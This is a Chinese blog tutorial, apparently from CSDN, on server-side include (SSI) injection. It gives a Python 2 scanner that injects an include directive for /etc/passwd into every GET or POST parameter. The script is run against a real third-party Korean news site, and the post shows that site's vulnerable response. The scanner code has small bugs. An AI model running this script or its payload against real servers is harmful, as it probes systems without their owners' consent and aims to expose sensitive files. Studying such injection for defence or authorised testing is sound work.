本系列文章将与大家一起学习探讨网络安全知识,但我们不做脚本小子。 在计算机和网络领域里,脚本小子(script kiddie)是一个贬义词用来描述以黑客自居并沾沾自喜的初学者。 他们钦慕于黑客的能力与探索精神,但与黑客所不同的是,脚本小子通常只是对计算机系统有基础了解与爱好, 但并不注重程序语言、算法、和数据结构的研究,虽然这些对于真正伟大的黑客来说是必须具备的素质。 他们常常从某些网站上复制脚本代码,然后到处粘贴,却并不一定明白他们的方法与原理。所以一般在说明一个漏洞之后,会提供一个漏洞发现程序,由于Python的强大和网络库的丰富,所以选择了Python。本专题--网络安全[脚本小子],就是为了勉励我们不做脚本小子,同时暗喻我们会提供脚本,做自动化漏洞发现,成为真正的“脚本小子”。

所谓的SSL注入,其实就是服务器端文件包含,想深入了解的可以看这篇文档,http://lamp.linux.gov.cn/Apache/ApacheMenu/howto/ssi.html,很明显如果我们输入带SSL指令的url,那么服务器将会解析,输入<!--#include file="/etc/passwd"-->将会造成信息泄漏,有很大的隐患。

做渗透测试的大伙肯定知道要想发现漏洞,首先要发现Url,最好能够自动化,大家很熟悉的WVS是发掘漏洞很强大的工具,在我眼里完胜IBM Appcan。WVS是用Qt写的,使用了QtWebkit,所以能找到几乎所有的url,包括ajax,html5的url。由于有PyQt,所以完全可以用Python仿写,唉如果wvs开源多好,轻轻松松就可以移植到PyQt上(想多了吧。。。)。

自动化发现程序如下:

[python] view plaincopy
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. import urllib
  4. import json
  5. def run(url,method,params):
  6. try:
  7. if method == 'get':  #year1=20120923&year2=20130923
  8. params_dict = None
  9. try:
  10. params_dict = dict(map(lambda s: s.split('='),params.split('&')))  #params may "&page=&no=3249"
  11. except:
  12. return
  13. for row in params_dict:
  14. tmp = params_dict.copy()
  15. tmp[row] = '<!--#include%20file="/etc/passwd"-->'
  16. ret = []
  17. for k in tmp:
  18. ret.append(k+"="+tmp[k])
  19. new_url = "%s?%s" %(url, '&'.join(ret))
  20. opener = urllib.urlopen(new_url)
  21. content = opener.read()
  22. opener.close()
  23. if content.find("[an error occurred while processing this directive]") >= 0:
  24. res = opener.headers.dict
  25. res['status']='403'
  26. print 'bingo',new_url,content
  27. break
  28. elif method == 'post': #[{"type":"hidden","name":"num","value":""},{"type":"hidden","name":"asu","value":""}]
  29. params_list = json.read(params)
  30. params = []
  31. for params_dict in params_list:
  32. params.append((params_dict['name'],params_dict['value']))
  33. params_dict = dict(params)
  34. for row in params_dict:
  35. tmp = params_dict.copy()
  36. tmp[row] = '<!--#include file="/etc/passwd"-->'
  37. data = urllib.urlencode(tmp)
  38. opener = urllib.urlopen(url,data)
  39. content = opener.read()
  40. opener.close()
  41. if content.find("[an error occurred while processing this directive]") >= 0:
  42. res = opener.headers.dict
  43. res['status']='403'
  44. print 'bingo',url,data,contet
  45. break
  46. except Exception,e:
  47. print str(e)
  48. if __name__ == '__main__':
  49. run('http://hpc.ebn.co.kr/news/n_view.html','get','id=630432&kind=menu_code&keys=70')

输出结果:

[python] view plaincopy
  1. bingo http://hpc.ebn.co.kr/news/n_view.html?keys=<!--#include%20file="/etc/passwd"-->&kind=menu_code&id=630432 [an error occurred while processing this directive]
  2. You don't have permission to access the requested object.
  3. It is either read-protected or not readable by the server.
  4. [an error occurred while processing this directive]

网络安全[脚本小子] -- SSI注入相关推荐

  1. 学习网络安全如何避免成为脚本小子或者安全工具人

    想要避免成为工具人或者脚本小子,你需要注意学习初期和工作初期的选择. 首先,在学习初期,打好基础最重要,避免成为脚本小子. 你可能发现很多人仅仅会写个Python然后会用工具,积累一点经验就可以找到一 ...

  2. 如何从脚本小子变成黑客大神?【网络安全】

    学前感言: 1.这是一条坚持的道路,三分钟的热情可以放弃往下看了. 2.多练多想,不要离开了教程什么都不会了.最好看完教程自己独立完成技术方面的开发. 3.有时多google,baidu,我们往往都遇 ...

  3. 盲目自学网络安全只会成为脚本小子?

    前言:我们来看看怎么学才不会成为脚本小子 目录: 一,怎么入门? 1.Web 安全相关概念(2 周) 2.熟悉渗透相关工具(3 周) 3.渗透实战操作(5 周) 4.关注安全圈动态(1 周) 5.熟悉 ...

  4. 如何自学网络安全 才不会成为脚本小子?

    前言:我们来看看怎么学才不会成为脚本小子 目录: 一,怎么入门? 1.Web 安全相关概念(2 周) 了解网络安全相关法律法规 熟悉基本概念(SQL 注入.上传.XSS.CSRF.一句话木马等). 通 ...

  5. 给你3个月,如何从脚本小子变成顶级黑客?【网络安全学习路线】

    前言 本人从事网路安全工作12年,曾在2个大厂工作过,安全服务.售后服务.售前.攻防比赛.安全讲师.销售经理等职位都做过,对这个行业了解比较全面.下面就开始进入正题,如何从一个萌新一步一步进入网络安全 ...

  6. 脚本小子最爱的20款黑客工具

    在过去的一年里,你都用了哪些黑客工具呢?统计了全球各大网站数据(浏览量.下载量.使用量等等),为大家总结出了最受欢迎的 20 款黑客工具.涉及范围主要集中在 信息收集.Android黑客工具.自动化工 ...

  7. SSI注入(server side includes injection 服务器端包含注入)

    0x01 什么是SSI和SSI注入 SSI是英文Server Side Includes的缩写,翻译成中文就是服务器端包含的意思.从技术角度上说,SSI就是在HTML文件中,可以通过注释行调用的命令或 ...

  8. nginx反代web页面没有正常显示_web漏洞-SSI注入漏洞深入详解

    SSI 注入全称Server-Side Includes Injection,即服务端包含注入.SSI 是类似于 CGI,用于动态页面的指令.SSI 注入允许远程在 Web 应用中注入脚本来执行代码. ...

  9. CTF训练 web安全SSI注入

    如何从外部进入主机 SSI注入攻击简介 实验 (一)实验环境 (二)信息探测 (三)深入挖掘 (四)漏洞利用 (五)制作webshell (六)启动监听 (七)上传shell反弹shell (八)执行 ...

  10. 如何从脚本小子变成黑客大神?

    学前感言: 1.这是一条坚持的道路,三分钟的热情可以放弃往下看了. 2.多练多想,不要离开了教程什么都不会了.最好看完教程自己独立完成技术方面的开发. 3.有时多google,baidu,我们往往都遇 ...

最新文章

  1. python 获取程序运行时间
  2. 顶尖创新型人才:10种与众不同的行为方式
  3. 微服务之数据同步Porter
  4. QCon 2010(InfoQ北京敏捷大会)会议信息
  5. linux mysql8配置文件_Linux下 MySQL8安装教程
  6. WdatePicker 设置日期第一个比第二个的日期小
  7. Centos yum install和yum groupinstall的区别
  8. 短网址PHP源码Shortny
  9. 3-Spring Boot的数据访问
  10. CI框架源码学习笔记7——Utf8.php
  11. ActiveReports 报表应用教程 (9)---交互式报表之动态排序
  12. Android6.0指纹识别开发
  13. ASP.NET-第二天-加强课程
  14. Server Tomcat v8.0 Server at localhost failed to start.
  15. 计算机科学,大一学生怎样来爱你(文PPT)
  16. 深度学习与计算机视觉教程(8) | 常见深度学习框架介绍(CV通关指南·完结)
  17. 【金融计量学】面板数据(自用笔记,第一次写)
  18. element-plus日期选择器 value-format出错
  19. 游戏开发技术帖:光线追踪技术的误点和难点
  20. 绘制IRB1200机器人工作空间

热门文章

  1. Linux第一次月考小总结
  2. 电子邮件格式详细介绍
  3. dubbo反序列化问题 Unable to find class: path
  4. Keras中的verbose参数
  5. 学期总结(思维导图)
  6. (predicted == labels).sum().item()
  7. iOS开发:Protocol协议以及委托代理传值
  8. python爬虫爬取拉勾网招聘信息
  9. 企业邮箱注册—企业微信邮箱2.0时代正式来临!
  10. SAP采购订单价格与信息记录价格不匹配